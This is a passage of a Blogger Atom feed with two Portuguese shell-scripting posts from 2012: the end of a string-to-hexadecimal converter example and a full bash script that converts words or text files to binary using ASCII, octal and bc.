&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;STR=&quot;$STR${PALAVRA:$x:2}&quot;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;Armazenando em $STR a partir da posição $x &amp;nbsp;1 caracter. &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Exemplo de USO:&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;wesleyleite&lt;/span&gt;@ &lt;span style=&quot;color: #6aa84f;&quot;&gt;:/home/PROGRAMACAO/SHELL/HEXA&amp;gt;&lt;/span&gt; ./txt2hex.sh /bin/sh&lt;/div&gt;
&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
68732f6e69622f&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: -webkit-auto;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/7718888435043162516/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/01/converter-string-em-hexadecimal.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/7718888435043162516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/7718888435043162516'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/01/converter-string-em-hexadecimal.html' title='Converter String em Hexadecimal'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-6223729812837632076</id><published>2012-01-27T16:55:00.000-02:00</published><updated>2012-02-07T11:14:09.841-02:00</updated><title type='text'>Converter txt 2 bin</title><content type='html'>&lt;br /&gt;
Resolvi escrever este script apenas para saber o equivalente de algumas palavras em binário, quando havia terminado vi que seria fácil adaptar para converter um arquvio inteiro, desde que este seja um arquivo texto puro.&lt;br /&gt;
&lt;br /&gt;
Tudo teve início quando vi no twitter do @mentebinaria uma função em shell para converter um decimal em binário, exatamente a que irei postar logo abaixo:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #3d85c6;&quot;&gt;@mentebinaria&lt;/span&gt;&lt;br /&gt;
&lt;code&gt;&lt;span style=&quot;color: yellow;&quot;&gt;
function&lt;/span&gt; &lt;span style=&quot;color: #cccccc;&quot;&gt;Binario()&lt;/span&gt; &lt;span style=&quot;color: #6aa84f;&quot;&gt;{&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: yellow;&quot;&gt;echo&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #cccccc;&quot;&gt;&quot;obase=2;$1&quot;&lt;/span&gt; | &lt;span style=&quot;color: yellow;&quot;&gt;bc&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6aa84f;&quot;&gt;
}
&lt;/span&gt;&lt;/code&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
logo lembrei que sabia extrair o ASCII do&amp;nbsp;carácter&amp;nbsp;e com isto poderia facilmente submeter a função e converter e blz.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #6aa84f;&quot;&gt;
&lt;code&gt; #!/bin/sh&lt;/span&gt;&lt;br /&gt;
#&lt;br /&gt;
# receber uma palavra e converter o equivamente em binario&lt;br /&gt;
# autor : Wesley Henrique Leite&lt;br /&gt;
# : wesleyhenrique [ at ] gmail [ dot ] com&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: yellow;&quot;&gt;function&lt;/span&gt; Binario() {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;obase=2;$1&quot; | bc&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: yellow;&quot;&gt;function&lt;/span&gt; Oct2Dec() {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf %d &quot;$1&quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: yellow;&quot;&gt;function&lt;/span&gt; Comparar() {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for CONTADOR in $(seq 1 255)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; do&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if [ &quot;$(echo -e &quot;\0$CONTADOR&quot; )&quot; == &quot;$1&quot; &amp;nbsp;]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; then&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #echo $CONTADOR&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;0$CONTADOR&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fi&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; done&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: yellow;&quot;&gt;function&lt;/span&gt; AjustarPalavra() {&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; NOME=($(echo $1 | sed &#39;s/./&amp;amp; /g&#39;))&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; TOT=(&quot;$(echo $1 | sed &#39;s/./&amp;amp; /g&#39;)&quot;)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for i in $(seq 0 $( expr ${#TOT} / 2 - 1 ))&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; do&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ASCII_OCT=$(Comparar ${NOME[$i]})&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Oc2DECIMAL=$(Oct2Dec $ASCII_OCT)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; String_Binaria=$(Binario $Oc2DECIMAL)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo -n &amp;nbsp;$String_Binaria&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; done&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo -n &quot; &quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
### MAIN #######&lt;br /&gt;
&lt;br /&gt;
if [ $# -lt 2 ]&lt;br /&gt;
then&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;====== Conversos de palavras para binario &amp;nbsp;&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;Modo de Usar&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;$0 [Opcao] &amp;lt;PALAVRA|ARQUIVO&amp;gt;&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot; &amp;nbsp; -f Arquivo&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot; &amp;nbsp; -p palavra&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; echo &quot;&quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
case $1 in&lt;br /&gt;
&lt;br /&gt;
&quot;-p&quot;)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; AjustarPalavra $2&lt;br /&gt;
;;&lt;br /&gt;
&lt;br /&gt;
&quot;-f&quot;)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; FILE=$2&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; while read i&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; do&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; STRING=$i&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for Palavra in $STRING&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; do&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; AjustarPalavra $Palavra&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; done&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; done &amp;lt; $FILE&lt;br /&gt;
;;&lt;br /&gt;
esac&lt;br /&gt;
&lt;/code&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Vamos à explicação, basicamente este script recebe um parâmetro, podendo ser um arquivo texto ou uma palavra, a primeira ação é submeter a palavra recolhida, seja &amp;nbsp;do arquivo ou passando como parâmetro para a função AjustarPalavra() que tem como objetivo receber uma informação e encontrar o equivalente em ASCII converte-lo para Octal e em seguida converter o Octal em Binário e imprimi-lo na tela.&lt;br /&gt;
&lt;br /&gt;
Como o escrevi a bastante tempo, vejo várias melhorias que podem ser feitas, mas deixarei para um outro post.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;Modo de usar:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;wesleyleite&lt;/span&gt;:&lt;span style=&quot;color: lime;&quot;&gt;/home/PROGRAMACAO/SHELL/Binario $&lt;/span&gt; ./txt2bin.sh -p $(uname -s)&lt;br /&gt;
&lt;span style=&quot;color: #999999;&quot;&gt;10011001101001110111011101011111000&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/6223729812837632076/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/01/resolvi-escrever-este-script-apenas.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/6223729812837632076'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/6223729812837632076'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2012/01/resolvi-escrever-este-script-apenas.html' title='Converter txt 2 bin'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>